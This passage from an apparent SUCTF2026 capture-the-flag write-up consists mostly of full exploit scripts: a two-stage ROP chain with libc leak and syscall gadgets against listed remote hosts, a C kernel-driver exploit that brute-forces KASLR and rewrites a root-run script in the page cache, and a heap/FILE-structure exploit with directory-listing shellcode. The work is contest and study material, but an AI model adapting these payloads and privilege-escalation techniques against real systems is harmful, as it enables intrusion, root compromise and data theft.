data = recv_until(sock, b'>>> ')
text = data.decode(errors='ignore')

m = re.search(r'Please make (.{36}) for me!', text)
if not m:
print(f'[{attempt}] parse failed')
sock.close()
continue

target = m.group(1)
payload = forge(target)
if payload is None:
print(f'[{attempt}] forge failed, retrying')
sock.close()
continue

sock.sendall((json.dumps(payload) + '\n').encode())
out = b''
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
out += chunk
except Exception:
pass

text = out.decode(errors='ignore')
print(f'[{attempt}] {text.strip()}')
m = re.search(r'FLAG:\s*([^"\n]+)', text)
if m:
print(m.group(1))
return m.group(1)
except Exception as e:
print(f'[{attempt}] error: {e}')

return None


if __name__ == '__main__':
if len(sys.argv) == 3:
HOST = sys.argv[1]
PORT = int(sys.argv[2])
flag = get_flag()
if flag is None:
print('flag not obtained')

img

Pwn

SU_ezbuffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
#!/usr/bin/env python3
"""
SUCTF2026 - SU_evbuffer Two-Stage Exploit
Stage 1: Leak libc via GOT read, receive stage 2 via read-onto-stack
Stage 2: Raw openat+read+write via libc syscall gadgets

Usage:
python3 exp5.py --local # local with pwn_local2
python3 exp5.py --remote # all remote targets
python3 exp5.py 1.2.3.4 --tcp-port P --udp-port Q # specific target
"""
from pwn import *
import socket as _socket
import struct, time, argparse, os, subprocess, signal, re, sys

context.arch = 'amd64'
context.log_level = 'info'

M = 0xFFFFFFFFFFFFFFFF

# ==================== PIE OFFSETS ====================
PIE_READ_CB_RET = 0x1619

# ==================== LIBEVENT OFFSETS ====================
LEV_RUN_CB_RET1 = 0x13b1a
LEV_RUN_CB_RET2 = 0x137d8

# Gadgets (all in executable region, offset >= 0xc000)
LEV_POP_RBP_RET = 0xcdb3
LEV_POP_RSP_RET = 0xcf2d
LEV_POP_RDI_RET = 0xd879
LEV_POP_RSI_RET = 0xd2e5
LEV_POP_RDX4_RET = 0x339dd # pop rdx; pop rbx; pop rbp; pop r12; ret
LEV_RET = 0xcd38

# PLT entries
LEV_FCNTL_PLT = 0xc6f0
LEV_WRITE_PLT = 0xc710
LEV_READ_PLT = 0xc900

# GOT entry for open (endbr64+bnd jmp format → 0x52ea8)
LEV_OPEN_GOT = 0x52ea8

# ==================== LIBC OFFSETS (glibc 2.35) ====================
# CRITICAL: libc first LOAD segment (offset 0-0x28000) is r--p NOT executable!
# All gadgets MUST be at offset >= 0x28000 to be in r-xp region.
LIBC_POP_RAX_RET = 0x45eb0 # pop rax; ret (0x45eb0 >= 0x28000 ✓)
LIBC_POP_RDX_RBX_RET = 0x904a9 # pop rdx; pop rbx; ret (0x904a9 >= 0x28000 ✓)
LIBC_SYSCALL_RET = 0x91316 # syscall; ret
LIBC_MOV_MEM_RAX = 0x3a410 # mov [rdx], rax; ret
LIBC_OPEN = 0x114560 # __open offset (for computing libc_base from GOT)
# WARNING: DO NOT USE libc+0x47ce (pop rdx; ret) — it's at offset < 0x28000 = SEGFAULT!

# ==================== SYSCALL NUMBERS ====================
SYS_openat = 257
SYS_read = 0
SYS_write = 1
AT_FDCWD = 0xFFFFFFFFFFFFFF9C # -100

# ==================== BSS LAYOUT ====================
STAGE2_MAX = 0x400 # max bytes to read for stage 2
SLOT_SIZE = 0x80 # bytes per fd read slot

REMOTE_TARGETS = [
('101.245.104.190', 10000, 10010),
('101.245.104.190', 10001, 10011),
('101.245.104.190', 10002, 10012),
('101.245.104.190', 10003, 10013),
('101.245.104.190', 10004, 10014),
('101.245.104.190', 10005, 10015),
]

def do_leak(host, tcp_port, udp_port):
"""Leak PIE + libevent base from hostname stack residue via UDP."""
for attempt in range(3):
try:
tcp = remote(host, tcp_port, timeout=5)
time.sleep(0.3)
for _ in range(3):
tcp.send(b'1.2.3.4')
time.sleep(0.2)
try: tcp.recv(0x200, timeout=1)
except: pass

udp = _socket.socket(_socket.AF_INET, _socket.SOCK_DGRAM)
udp.settimeout(3)
udp.sendto(b'1.2.3.4', (host, udp_port))
try: resp, _ = udp.recvfrom(0x100)
except: resp = b''
udp.close()

if len(resp) < 0x50:
log.warning(f"UDP too short: {len(resp)}")
tcp.close(); time.sleep(1); continue

hn = resp[0x10:0x50]

# PIE base from hostname[0x38]
pie_base = None
pie_val = u64(hn[0x38:0x40])
if 0x10000 < pie_val < 0x800000000000:
if (pie_val & 0xfff) == (PIE_READ_CB_RET & 0xfff):
pie_base = pie_val - PIE_READ_CB_RET
if pie_base is None:
for i in range(0, 64, 8):
v = u64(hn[i:i+8])
if 0x10000 < v < 0x800000000000 and (v & 0xfff) == (PIE_READ_CB_RET & 0xfff):
pie_base = v - PIE_READ_CB_RET; break

# Libevent base from hostname[0x08]
lev_base = None
lev_val = u64(hn[0x08:0x10])
if 0x70 <= ((lev_val >> 40) & 0xff) <= 0x7f:
for off in [LEV_RUN_CB_RET1, LEV_RUN_CB_RET2]:
if (lev_val & 0xfff) == (off & 0xfff):
cand = lev_val - off
if (cand & 0xfff) == 0:
lev_base = cand; break
if lev_base is None:
for i in range(0, 64, 8):
v = u64(hn[i:i+8])
if 0x70 <= ((v >> 40) & 0xff) <= 0x7f:
for off in [LEV_RUN_CB_RET1, LEV_RUN_CB_RET2]:
if (v & 0xfff) == (off & 0xfff):
cand = v - off
if (cand & 0xfff) == 0:
lev_base = cand; break
if lev_base: break

# tcp_fd from hostname[0x28] (listener_fd + 1)
tcp_fd = None
fd_val = u64(hn[0x28:0x30])
if 3 <= fd_val <= 20:
tcp_fd = fd_val + 1

if pie_base and lev_base:
log.success(f"PIE={pie_base:#x} LEV={lev_base:#x} tcp_fd={tcp_fd}")
return tcp, pie_base, lev_base, tcp_fd or 8

log.warning("Leak incomplete, retrying...")
tcp.close(); time.sleep(1)
except Exception as e:
log.warning(f"Leak error: {e}")
time.sleep(1)
return None, None, None, None

def build_stage1_payload(pie_base, lev_base, tcp_fd):
"""Build UDP overflow payload with Stage 1 ROP chain.

Uses read-onto-stack technique: stage 1 read() writes stage 2 data
directly onto the stack position after the last stage 1 entry.
When read() returns, its `ret` pops the first stage 2 entry.
"""
bss = pie_base + 0x4040
fake_evbuf = bss + 0x120
fake_entry = bss + 0x1A8
rop_start = bss + 0x1D0

pd = lev_base + LEV_POP_RDI_RET
ps = lev_base + LEV_POP_RSI_RET
pd4 = lev_base + LEV_POP_RDX4_RET
pb = lev_base + LEV_POP_RBP_RET
psp = lev_base + LEV_POP_RSP_RET
ret = lev_base + LEV_RET

rop = []
# 1. fcntl(tcp_fd, F_SETFL, 0) — make blocking
rop += [pd, tcp_fd, ps, 4, pd4, 0, 0, 0, 0, ret, lev_base + LEV_FCNTL_PLT]
# 2. write(tcp_fd, open@GOT, 8) — leak libc
rop += [pd, tcp_fd, ps, lev_base + LEV_OPEN_GOT, pd4, 8, 0, 0, 0,
lev_base + LEV_WRITE_PLT]
# 3. read(tcp_fd, stack_target, STAGE2_MAX) — receive stage 2 onto stack
# stack_target = rop_start + (len(rop) + 10) * 8, computed after this block
read_entry_idx = len(rop)
rop += [pd, tcp_fd, ps, 0xDEAD, pd4, STAGE2_MAX, 0, 0, 0, lev_base + LEV_READ_PLT]
# After read returns, `ret` pops stage2[0] from the stack

# Compute stack_target: address right after the last rop entry on stack
stack_target = rop_start + len(rop) * 8
rop[read_entry_idx + 3] = stack_target # fix the placeholder

# Build payload
total = 0x1D0 + len(rop) * 8
assert total <= 0x3FF, f"Stage 1 too large: {total:#x}"

pay = bytearray(total)
pay[0:8] = b'1.2.3.4\x00'
pay[0x08:0x0C] = b'flag' # relative path (remote uses 'flag', not '/flag')

# Overflow fields: type=1, bev=bss
struct.pack_into('<I', pay, 0x20, 1)
struct.pack_into('<Q', pay, 0x28, bss)
# bev+0x118 → fake_evbuf
struct.pack_into('<Q', pay, 0x118, fake_evbuf)

# Fake evbuffer for two-step stack pivot
struct.pack_into('<Q', pay, 0x130, fake_evbuf) # evbuf+0x10
struct.pack_into('<Q', pay, 0x138, (psp - 0x50) & M) # evbuf+0x18
struct.pack_into('<Q', pay, 0x140, (rop_start - 0x50) & M) # evbuf+0x20
struct.pack_into('<Q', pay, 0x148, rop_start) # evbuf+0x28
struct.pack_into('<Q', pay, 0x198, fake_entry) # evbuf+0x78

# Callback entry
struct.pack_into('<Q', pay, 0x1B8, pb) # function = pop_rbp_ret
struct.pack_into('<I', pay, 0x1C8, 1) # flags

# ROP chain
for i, val in enumerate(rop):
struct.pack_into('<Q', pay, 0x1D0 + i * 8, val & M)

return bytes(pay)

def build_stage2_chain(pie_base, lev_base, libc_base, tcp_fd):
"""Build Stage 2 ROP using raw syscalls from libc.

openat(AT_FDCWD, "/flag", 0) → save fd → read(fds 9-12) → write(tcp)
Skips fds 3-7 (epoll/listener/udp/event) and tcp_fd to avoid blocking.
"""
bss = pie_base + 0x4040
flag_str = bss + 0x08 # "/flag\0" placed in stage 1 payload
diag = bss + 0x7F8 # 8-byte openat return value
read_buf = bss + 0x800 # read data buffer

pd = lev_base + LEV_POP_RDI_RET
ps = lev_base + LEV_POP_RSI_RET

pop_rax = libc_base + LIBC_POP_RAX_RET
pop_rdx_rbx = libc_base + LIBC_POP_RDX_RBX_RET
syscall_r = libc_base + LIBC_SYSCALL_RET
mov_mem = libc_base + LIBC_MOV_MEM_RAX

rop = []

# 1. openat(AT_FDCWD, "/flag", O_RDONLY=0)
rop += [pop_rax, SYS_openat,
pd, AT_FDCWD & M,
ps, flag_str,
pop_rdx_rbx, 0, 0, # rdx=0, rbx=junk
syscall_r]

# 2. Save openat retval (rax) to diag
rop += [pop_rdx_rbx, diag, 0, mov_mem]

# 3. Read from fds 9-12 (skip system fds and tcp_fd to avoid blocking)
read_fds = [fd for fd in range(9, 13) if fd != tcp_fd]
for i, fd in enumerate(read_fds):
slot = read_buf + i * SLOT_SIZE
rop += [pop_rax, SYS_read,
pd, fd,
ps, slot,
pop_rdx_rbx, SLOT_SIZE, 0,
syscall_r]

# 4. Write: diag(8) + all read slots
total_wr = 8 + len(read_fds) * SLOT_SIZE
rop += [pop_rax, SYS_write,
pd, tcp_fd,
ps, diag,
pop_rdx_rbx, total_wr, 0,
syscall_r]

chain = b''.join(p64(v & M) for v in rop)
log.info(f"Stage 2: {len(chain)} bytes ({len(rop)} entries)")
return chain, read_fds

def try_exploit(host, tcp_port, udp_port, tcp_fd_override=None):
"""Full two-stage exploit against one target."""

log.info("=== Phase 1: Leak ===")
tcp, pie_base, lev_base, tcp_fd = do_leak(host, tcp_port, udp_port)
if tcp is None:
log.warning("Leak failed")
return None
if tcp_fd_override:
tcp_fd = tcp_fd_override

log.info("=== Phase 2: Stage 1 (overflow + GOT leak) ===")
stage1 = build_stage1_payload(pie_base, lev_base, tcp_fd)
log.info(f"Stage 1: {len(stage1)} bytes")

udp = _socket.socket(_socket.AF_INET, _socket.SOCK_DGRAM)
udp.sendto(stage1, (host, udp_port))
udp.close()

log.info("=== Phase 3: Receive libc leak ===")
time.sleep(0.5)
try:
got_data = tcp.recv(8, timeout=5)
except Exception as e:
log.warning(f"GOT recv: {e}"); tcp.close(); return None

if len(got_data) < 8:
log.warning(f"GOT leak short: {len(got_data)}"); tcp.close(); return None

libc_open = u64(got_data[:8])
libc_base = libc_open - LIBC_OPEN
log.success(f"libc_base = {libc_base:#x} (aligned={libc_base & 0xfff == 0})")

if libc_base & 0xfff != 0:
log.error("libc_base not aligned"); tcp.close(); return None

log.info("=== Phase 4: Stage 2 (raw syscall ORW) ===")
stage2, read_fds = build_stage2_chain(pie_base, lev_base, libc_base, tcp_fd)
s2_padded = stage2.ljust(STAGE2_MAX, b'\x00')
time.sleep(0.3)
tcp.send(s2_padded)

log.info("=== Phase 5: Receive flag ===")
time.sleep(2)
result = b''
for _ in range(10):
try:
c = tcp.recv(0x400, timeout=2)
if c: result += c
else: break
except: break
tcp.close()

if not result:
log.warning("No data from stage 2"); return None

log.info(f"Received {len(result)} bytes")

# Parse: 8 bytes openat retval + read slots
if len(result) >= 8:
r = u64(result[:8])
if r > 0x7FFFFFFFFFFFFF00:
log.warning(f"openat = {r - (1<<64)}")
else:
log.success(f"openat fd = {r}")

buf = result[8:]
found = None
for i, fd in enumerate(read_fds):
slot = buf[i*SLOT_SIZE:(i+1)*SLOT_SIZE]
nz = slot.rstrip(b'\x00')
if nz:
text = nz.decode('utf-8', errors='replace')
log.info(f" fd {fd}: {text[:100]}")
m = re.search(r'[A-Za-z0-9_]*\{[^}]*\}', text)
if m: found = m.group(0)

full = result.decode('utf-8', errors='replace')
m = re.search(r'[A-Za-z0-9_]*\{[^}]*\}', full)
if m and (found is None or len(m.group(0)) > len(found)):
found = m.group(0)

if found:
log.success(f"FLAG: {found}")
return found

def exploit_target(host, tcp_port, udp_port):
"""Try exploit with auto-detected then alternate tcp_fd values."""
log.info(f"=== Target {host}:{tcp_port}/{udp_port} ===")
result = try_exploit(host, tcp_port, udp_port)
if result: return result

for tfd in [7, 9, 6, 10]:
log.info(f"Retry tcp_fd={tfd}...")
time.sleep(2)
result = try_exploit(host, tcp_port, udp_port, tcp_fd_override=tfd)
if result: return result
return None

def main():
parser = argparse.ArgumentParser(description='SUCTF2026 SU_evbuffer two-stage exploit')
parser.add_argument('host', nargs='?', default='127.0.0.1')
parser.add_argument('--tcp-port', type=int, default=28888)
parser.add_argument('--udp-port', type=int, default=28889)
parser.add_argument('--local', action='store_true', help='Launch pwn_local2')
parser.add_argument('--remote', action='store_true', help='Try all remote targets')
parser.add_argument('--tcp-fd', type=int, default=None)
args = parser.parse_args()

proc = None
try:
if args.local:
args.host = '127.0.0.1'
args.tcp_port = 28888
args.udp_port = 28889
d = os.path.dirname(os.path.abspath(__file__)) or '.'
proc = subprocess.Popen(
['./pwn_local2'], cwd=d,
env={**os.environ, 'LD_LIBRARY_PATH': '.'},
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
preexec_fn=os.setsid)
time.sleep(1)
if proc.poll() is not None:
log.error("pwn_local2 start failed"); return
log.success(f"Server PID {proc.pid}")

if args.remote:
log.info("=== Remote: all targets ===")
for host, tp, up in REMOTE_TARGETS:
r = exploit_target(host, tp, up)
if r:
log.success(f"FINAL FLAG: {r}"); break
time.sleep(2)
else:
log.warning("All targets failed")
else:
r = try_exploit(args.host, args.tcp_port, args.udp_port,
tcp_fd_override=args.tcp_fd)
if r: log.success(f"FINAL: {r}")
else: log.error("Failed")

finally:
if proc and proc.poll() is None:
try:
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
proc.wait()
except: pass

if __name__ == '__main__':
main()

SU_Chronos_Ring1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#define CMD_CREATE 0x1001
#define CMD_AUTH 0x1002
#define CMD_PIN 0x1003
#define CMD_LOAD 0x1004
#define CMD_VIEW 0x1005
#define CMD_WRITE 0x1007
#define CMD_SYNC 0x1008
#define CMD_QUERY 0x1009

#define MAGIC 0xf372fe94f82b3c6eULL
#define MASK 0xfffffffffffe0000ULL
#define KFREE_BASE 0xffffffff813762b0ULL

int main(void) {
int dev = open("/dev/chronos_ring", O_RDWR);
if (dev < 0) { perror("open dev"); return 1; }

/* 1. Create buffer */
if (ioctl(dev, CMD_CREATE, 0) < 0) { printf("CREATE fail\n"); return 1; }
printf("[+] Buffer created\n");

/* 2. Write payload to buffer BEFORE loading file */
char payload[64];
memset(payload, 0, sizeof(payload));
/* Payload: overwrite /tmp/job to copy flag */
strcpy(payload, "#!/bin/sh\ncat /flag>/tmp/f\nchmod 777 /tmp/f\n#PADPAD\n");
int plen = strlen(payload);

struct { uint64_t ptr; uint32_t len; uint32_t off; } wr;
wr.ptr = (uint64_t)payload;
wr.len = plen;
wr.off = 0;
if (ioctl(dev, CMD_WRITE, &wr) < 0) { printf("WRITE fail\n"); return 1; }
printf("[+] Payload written (%d bytes)\n", plen);

/* 3. Brute-force KASLR for auth */
printf("[*] Brute-forcing KASLR...\n");
struct { uint64_t key; uint32_t val; uint32_t pad; } ar;
int found = 0;
for (int i = 0; i < 2048; i++) {
uint64_t koff = (uint64_t)i * 0x200000ULL;
uint64_t kfree = KFREE_BASE + koff;
uint64_t masked = (kfree >> 4) & MASK;
ar.key = MAGIC ^ masked;
ar.val = 0;
ar.pad = 0;
if (ioctl(dev, CMD_AUTH, &ar) == 0) {
printf("[+] Auth OK! KASLR offset=0x%lx (try %d)\n", koff, i);
found = 1;
break;
}
}
if (!found) { printf("[-] Auth brute-force failed\n"); return 1; }

/* 4. Open /tmp/job and load its file page */
int jfd = open("/tmp/job", O_RDONLY);
if (jfd < 0) { perror("open job"); return 1; }

struct { uint32_t fd; uint32_t pidx; } lr;
lr.fd = jfd;
lr.pidx = 0;
if (ioctl(dev, CMD_LOAD, &lr) < 0) { printf("LOAD fail\n"); return 1; }
printf("[+] File page loaded\n");

/* 5. Pin a user page (sets flags & 0x2) */
void *upage = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memset(upage, 'A', 4096); /* fault page in */
uint64_t uaddr = (uint64_t)upage;
if (ioctl(dev, CMD_PIN, &uaddr) < 0) { printf("PIN fail\n"); return 1; }
printf("[+] User page pinned\n");

/* 6. Create view (backed by file page since file_loaded=1) */
if (ioctl(dev, CMD_VIEW, 0) < 0) { printf("VIEW fail\n"); return 1; }
printf("[+] View created\n");

/* Verify */
struct { uint32_t flags; uint32_t fl; uint32_t vt; uint32_t po; uint32_t hp; } qr;
memset(&qr, 0, sizeof(qr));
ioctl(dev, CMD_QUERY, &qr);
printf("[*] flags=0x%x file_loaded=%d view_type=%d\n", qr.flags, qr.fl, qr.vt);

/* 7. Sync buffer to file page cache via READ_VIEW */
struct { uint64_t unused; uint32_t size; uint32_t offset; } rv;
rv.unused = 0;
rv.size = plen;
rv.offset = 0;
if (ioctl(dev, CMD_SYNC, &rv) < 0) { printf("SYNC fail\n"); return 1; }
printf("[+] Page cache modified!\n");

/* 8. Wait for root helper to execute */
printf("[*] Waiting for root cron (up to 5s)...\n");
for (int i = 0; i < 10; i++) {
usleep(500000);
if (access("/tmp/f", F_OK) == 0) {
printf("[+] Flag file appeared!\n");
char buf[256] = {0};
int ffd = open("/tmp/f", O_RDONLY);
if (ffd >= 0) {
read(ffd, buf, sizeof(buf)-1);
close(ffd);
printf("[FLAG] %s\n", buf);
}
break;
}
}

if (access("/tmp/f", F_OK) != 0)
printf("[-] Flag file not found, try waiting longer\n");

close(jfd);
close(dev);
return 0;
}

SU_minivfs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './mini_vfs')
if local_flag == "remote":
addr = '1.95.73.223 10000'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

# ============================================================
# Hash / Auth helpers (reverse-engineered from binary)
# ============================================================
def fnv1a(data: bytes) -> int:
h = 0x811C9DC5
for b in data:
h = ((h ^ b) * 0x01000193) & 0xFFFFFFFF
return h

def slot_lookup(path: bytes):
"""Returns (slot_index, full_hash)"""
h = fnv1a(path)
h ^= h >> 16
h = (h * 0x7FEB352D) & 0xFFFFFFFF
h ^= h >> 15
h = (h * 0x846CA68B) & 0xFFFFFFFF
h ^= h >> 16
return h & 0xF, h

def auth_token(path: bytes) -> bytes:
"""Compute auth token: hash ^ 0xa5a5a5a5 as decimal string"""
_, h = slot_lookup(path)
return str(h ^ 0xA5A5A5A5).encode()

# ============================================================
# VFS command wrappers
# ============================================================
def cmd(line):
sl(line)

def touch(path: bytes, cap: int):
tok = auth_token(path)
cmd(b"touch " + path + b" " + str(cap).encode() + b" " + tok)
return ru(b"vfs> ")

def rm(path: bytes):
tok = auth_token(path)
cmd(b"rm " + path + b" " + tok)
return ru(b"vfs> ")

def cat(path: bytes, cap: int) -> bytes:
tok = auth_token(path)
cmd(b"cat " + path + b" " + tok)
# cat_file does: write(1, data_ptr, cap); putchar('\n');
data = rn(cap)
ru(b"vfs> ")
return data

def write_data(path: bytes, data: bytes):
tok = auth_token(path)
size = len(data)
cmd(b"write " + path + b" " + str(size).encode() + b" " + tok)
ru(b"> ")
s(data)
return ru(b"vfs> ")

def ls():
cmd(b"ls")
return ru(b"vfs> ")

name = [
b'/a28', # slot 0
b'/a3', # slot 1
b'/a7', # slot 2
b'/a21', # slot 3
b'/a12', # slot 4
b'/a10', # slot 5
b'/a69', # slot 6
b'/a31', # slot 7
b'/a6', # slot 8
b'/a14', # slot 9
b'/a35', # slot 10
b'/a32', # slot 11
b'/a1', # slot 12
b'/a2', # slot 13
b'/a5', # slot 14
b'/a4', # slot 15
]

gdbscript = '''
brva 0x17BE
# malloc
brva 0x19F8
# free
brva 0x1B2E
# show
brva 0x1C35
# edit
b _IO_flush_all

ida
dir /mnt/f/Documents/CTF/glibc/glibc-2.41
c
'''

ru(b"vfs> ")
touch(name[0], 0x420)
touch(name[1], 0x500)
touch(name[2], 0x430)
rm(name[0])
touch(name[3], 0x500)
rm(name[2])
touch(name[0], 0x420)
write_data(name[0], b'A')
leaked = cat(name[0], 0x420)
print(f"Leaked data: {leaked.hex()}")
libc_base = u64_ex(leaked[0x8:0x10]) - 0x210F10
set_current_libc_base_and_log(libc_base)
heap_base = u64_ex(leaked[0x10:0x18]) - 0x290
log_heap_base_addr(heap_base)
touch(name[4], 0x430)

touch(name[6], 0x4F8) # A
touch(name[7], 0x4F8) # O
touch(name[8], 0x4F8) # B
touch(name[5], 0x4F8) # G

H = heap_base + 0x1520
fake_chunk = flat([0, 0x9F1, H + 0x10, H + 0x10, H + 0x10, H + 0x10])
write_data(name[6], fake_chunk)
'''
┌──────────────────────────────┐
│ A.size = 0x501 │
├──────────────────────────────┤
│ fake.prev_size = 0 │ <- H+0x10
│ fake.size = 0x9f1 │
│ fake.fd = H+0x10 │
│ fake.bk = H+0x10 │
│ fake.fd_nextsize = H+0x10 │
│ fake.bk_nextsize = H+0x10 │
│ .... remaining A user .... │
└──────────────────────────────┘
'''
fake_presize = b'\x00' * 0x4F0 + p64(0x9F0) # Overwrite B's inuse bit
write_data(name[7], fake_presize)
rm(name[8])

touch(name[9], 0x4E8)

touch(name[10], 0x4E8) # p1
touch(name[11], 0x500) # sp
touch(name[12], 0x4D8) # p2
touch(name[13], 0x500) # sp
rm(name[10])

fake_IO_FILE = heap_base + 0x2920
dir_list_shellcode = asm(
f'''
mov r13, {heap_base:#x}
mov byte ptr [r13 + 0x1800], 0x0a

push 0x2f
mov rdi, rsp
mov esi, 0x10000
xor edx, edx
mov eax, 2
syscall

mov r12, rax
lea r14, [r13 + 0x1000]

read_dirents:
mov rdi, r12
mov rsi, r14
mov edx, 0x800
mov eax, 217
syscall
test rax, rax
jle done

xor ebx, ebx
mov r15, rax

entry_loop:
cmp rbx, r15
jge read_dirents

lea rsi, [r14 + rbx + 19]
cmp byte ptr [rsi], 0x2e
jne calc_name_len
cmp byte ptr [rsi + 1], 0
je next_entry
cmp byte ptr [rsi + 1], 0x2e
jne calc_name_len
cmp byte ptr [rsi + 2], 0
je next_entry

calc_name_len:
xor edx, edx

name_len_loop:
cmp byte ptr [rsi + rdx], 0
je write_name
inc rdx
jmp name_len_loop

write_name:
test rdx, rdx
je next_entry

mov edi, 1
mov eax, 1
syscall

mov edi, 1
lea rsi, [r13 + 0x1800]
mov edx, 1
mov eax, 1
syscall

next_entry:
movzx eax, word ptr [r14 + rbx + 16]
add rbx, rax
jmp entry_loop

done:
xor edi, edi
lea rsi, [r13 + 0x2000]
mov edx, 0x400
xor eax, eax
syscall
test eax, eax
jle exit_stage1
jmp rsi

exit_stage1:
'''
+ shellcraft.exit(0)
)
ucontext = flat(
{
0x0: (__shlib_handle := 0), # codecvt->__cd_in.step->__shlib_handle
0x28: (__fct := libc.sym.setcontext), # codecvt->__cd_in.step->__fct rip
0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
0x78: (_rbp := 0),
0x68: (_rdi := heap_base),
0x70: (_rsi := 0x20000),
0x88: (_rdx := 7),
0x80: (_rbx := 0),
0x98: (_rcx := 0),
# 0x28: (_r8 := 0),
0x30: (_r9 := 0),
0x48: (_r12 := 0),
0x50: (_r13 := 0),
0x58: (_r14 := 0),
0x60: (_r15 := 0),
0xA8: (_rip := libc.sym.mprotect),
0xE0: fake_IO_FILE + 0xE0 + 0xE8, # fldenv [rcx]
0xE8: dir_list_shellcode,
# 0xE8: asm(shellcraft.open('/flag_8b8b2fb5b09e1fa5', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100)),
},
filler=b'\x00',
)

IO_payload = flat(
{
0x0: ~(4 | 0x10),
0x10: (_IO_read_end := 0x666), # fp->_IO_read_ptr < fp->_IO_read_end
0x28: (_IO_write_base := 0x666), # fp->_IO_write_ptr < fp->_IO_write_end
0x88: fake_IO_FILE + 0x88,
0x98: (_codecvt := fake_IO_FILE + 0xA8), # _codecvt
0xA0: (_wide_data := fake_IO_FILE + 0x28), # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end *A >= *(A + 8)
0xA8: (__cd_instep := fake_IO_FILE + 0xE0), # codecvt->__cd_in.step
0xD8: libc.sym._IO_wfile_jumps + 0x8, # vtable _IO_wfile_jumps -> _IO_wfile_underflow
0xE0: ucontext,
},
filler=b'\x00',
)

write_data(name[12], IO_payload[0x10:])

touch(name[14], 0x4F8) # p3
rm(name[12])
write_data(name[7], p64(0) * 2 + p64(libc.sym._IO_list_all - 0x20) * 2)
touch(name[15], 0x4F8)
launch_gdb(gdbscript)
cmd(b'exit')

dir_listing = gift.io.recvrepeat(1.0)
print(f"Directory listing:\n{dir_listing.decode(errors='replace')}")
real_flag_name = next((line.strip() for line in dir_listing.splitlines() if line.startswith(b'flag_')), None)
if real_flag_name is None:
raise RuntimeError(f"Failed to locate real flag name from output: {dir_listing!r}")
log.success(f"Real flag file: {real_flag_name.decode()}")

stage2_shellcode = asm(shellcraft.open(b'/' + real_flag_name, 0) + shellcraft.read('rax', heap_base, 0x100) + shellcraft.write(1, heap_base, 0x114))
# pause()
s(stage2_shellcode)
